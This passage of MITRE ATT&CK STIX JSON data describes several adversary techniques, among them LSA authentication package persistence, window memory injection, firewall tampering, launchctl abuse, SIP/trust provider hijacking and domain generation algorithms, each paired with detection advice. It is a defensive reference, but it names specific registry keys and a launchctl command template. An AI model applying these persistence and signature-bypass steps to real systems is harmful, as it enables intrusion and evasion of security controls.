Accounts](https://attack.mitre.org/techniques/T1078)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_contributors": ["Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)", "Obsidian Security"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4", "created": "2020-10-02T14:54:59.263Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1589", "external_id": "T1589"}, {"source_name": "OPM Leak", "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020.", "url": "https://www.opm.gov/cybersecurity/cybersecurity-incidents/"}, {"source_name": "Detectify Slack Tokens", "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020.", "url": "https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/"}, {"source_name": "GitHub truffleHog", "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.", "url": "https://github.com/dxa4481/truffleHog"}, {"source_name": "GrimBlog UsernameEnum", "description": "GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021.", "url": "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/"}, {"source_name": "Register Uber", "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.", "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/"}, {"source_name": "GitHub Gitrob", "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.", "url": "https://github.com/michenriksen/gitrob"}, {"source_name": "CNET Leaks", "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.", "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/"}, {"source_name": "Obsidian SSPR Abuse 2023", "description": "Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.", "url": "https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/"}, {"source_name": "Forbes GitHub Creds", "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.", "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196"}, {"source_name": "Register Deloitte", "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.", "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d", "type": "attack-pattern", "created": "2017-05-31T21:31:43.135Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1131", "url": "https://attack.mitre.org/techniques/T1131"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx", "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.", "source_name": "MSDN Authentication Packages"}, {"url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", "source_name": "Graeber 2014"}, {"url": "https://technet.microsoft.com/en-us/library/dn408187.aspx", "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", "source_name": "Microsoft Configure LSA"}], "modified": "2020-01-24T15:43:25.280Z", "name": "Authentication Package", "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0", "type": "attack-pattern", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1181", "url": "https://attack.mitre.org/techniques/T1181"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx", "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.", "source_name": "Microsoft Window Classes"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx", "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.", "source_name": "Microsoft GetWindowLong function"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx", "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.", "source_name": "Microsoft SetWindowLong function"}, {"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "source_name": "Elastic Process Injection July 2017"}, {"url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.", "source_name": "MalwareTech Power Loader Aug 2013"}, {"url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/", "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.", "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx", "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.", "source_name": "Microsoft SendNotifyMessage function"}], "modified": "2020-11-10T18:29:30.479Z", "name": "Extra Window Memory Injection", "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Anti-virus", "Host intrusion prevention systems", "Data Execution Prevention"], "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"modified": "2024-03-28T00:01:08.337Z", "name": "Disable or Modify System Firewall", "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti)\n\nAdversaries may also modify host networking settings that indirectly manipulate system firewalls, such as interface bandwidth or network connection request thresholds.(Citation: Huntress BlackCat) Settings related to enabling abuse of various [Remote Services](https://attack.mitre.org/techniques/T1021) may also indirectly modify firewall rules.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Firewall: Firewall Rule Modification", "Windows Registry: Windows Registry Key Modification", "Command: Command Execution", "Firewall: Firewall Disable"], "x_mitre_defense_bypassed": ["Firewall"], "type": "attack-pattern", "id": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", "created": "2020-02-21T21:00:48.814Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1562/004", "external_id": "T1562.004"}, {"source_name": "Huntress BlackCat", "description": "Carvey, H. (2024, February 28). BlackCat Ransomware Affiliate TTPs. Retrieved March 27, 2024.", "url": "https://www.huntress.com/blog/blackcat-ransomware-affiliate-ttps"}, {"source_name": "change_rdp_port_conti", "description": "The DFIR Report. (2022, March 1). \"Change RDP port\" #ContiLeaks. Retrieved March 1, 2022.", "url": "https://twitter.com/TheDFIRReport/status/1498657772254240768"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-01-20T00:07:58.958Z", "name": "Archive Collected Data", "description": "An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.(Citation: DOJ GRU Indictment Jul 2018) Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_deprecated": false, "x_mitre_detection": "Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Command: Command Execution", "Script: Script Execution", "Process: Process Creation", "File: File Creation"], "type": "attack-pattern", "id": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "created": "2020-02-20T20:53:45.725Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1560", "external_id": "T1560"}, {"source_name": "DOJ GRU Indictment Jul 2018", "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", "url": "https://www.justice.gov/file/1080281/download"}, {"source_name": "Wikipedia File Header Signatures", "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.", "url": "https://en.wikipedia.org/wiki/List_of_file_signatures"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1152", "url": "https://attack.mitre.org/techniques/T1152"}, {"url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", "source_name": "Sofacy Komplex Trojan"}], "modified": "2020-03-10T18:31:00.336Z", "name": "Launchctl", "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made  (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "execution"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Application whitelisting", "Process whitelisting", "Whitelisting by file name or path"], "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Matt Graeber, @mattifestation, SpecterOps"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc", "created": "2020-02-05T19:34:04.910Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1553.003", "url": "https://attack.mitre.org/techniques/T1553/003"}, {"source_name": "Entrust Enable CAPI2 Aug 2017", "url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165", "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018."}, {"source_name": "GitHub SIP POC Sept 2017", "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage", "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018."}, {"source_name": "SpectorOps Subverting Trust Sept 2017", "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf", "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018."}, {"source_name": "Microsoft Catalog Files and Signatures April 2017", "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files", "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018."}, {"source_name": "Microsoft Audit Registry July 2012", "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)", "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018."}, {"source_name": "Microsoft Registry Auditing Aug 2016", "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)", "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018."}, {"source_name": "Microsoft Authenticode", "url": "https://msdn.microsoft.com/library/ms537359.aspx", "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018."}, {"source_name": "Microsoft WinVerifyTrust", "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx", "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018."}, {"source_name": "EduardosBlog SIPs July 2008", "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/", "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)", "modified": "2022-05-05T04:58:58.214Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "SIP and Trust Provider Hijacking", "x_mitre_detection": "Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Modification", "Module: Module Load", "File: File Modification"], "x_mitre_defense_bypassed": ["Autoruns Analysis", "Digital Certificate Validation", "User Mode Signature Validation", "Application Control"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Sylvain Gil, Exabeam", "Barry Shteiman, Exabeam", "Ryan Benson, Exabeam"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--54456690-84de-4538-9101-643e26437e09", "type": "attack-pattern", "created": "2019-02-18T17:22:57.831Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1483", "url": "https://attack.mitre.org/techniques/T1483"}, {"source_name": "Cybereason Dissecting DGAs", "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf", "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019."}, {"source_name": "Cisco Umbrella DGA", "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/", "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019."}, {"source_name": "Unit 42 DGA Feb 2019", "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/", "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019."}, {"url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html", "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", "source_name": "Talos CCleanup 2017"}, {"source_name": "Akamai DGA Mitigation", "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html", "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019."}, {"url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html", "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", "source_name": "FireEye POSHSPY April 2017"}, {"source_name": "ESET Sednit 2017 Activity", "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/", "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019."}, {"source_name": "Data Driven Security DGA", "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/", "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019."}, {"source_name": "Pace University Detecting DGA May 2017", "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf", "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019."}, {"source_name": "Elastic Predicting DGA", "url": "https://arxiv.org/pdf/1611.00791.pdf", "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019."}], "modified": "2020-11-10T18:28:56.957Z", "name": "Domain Generation Algorithms", "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, 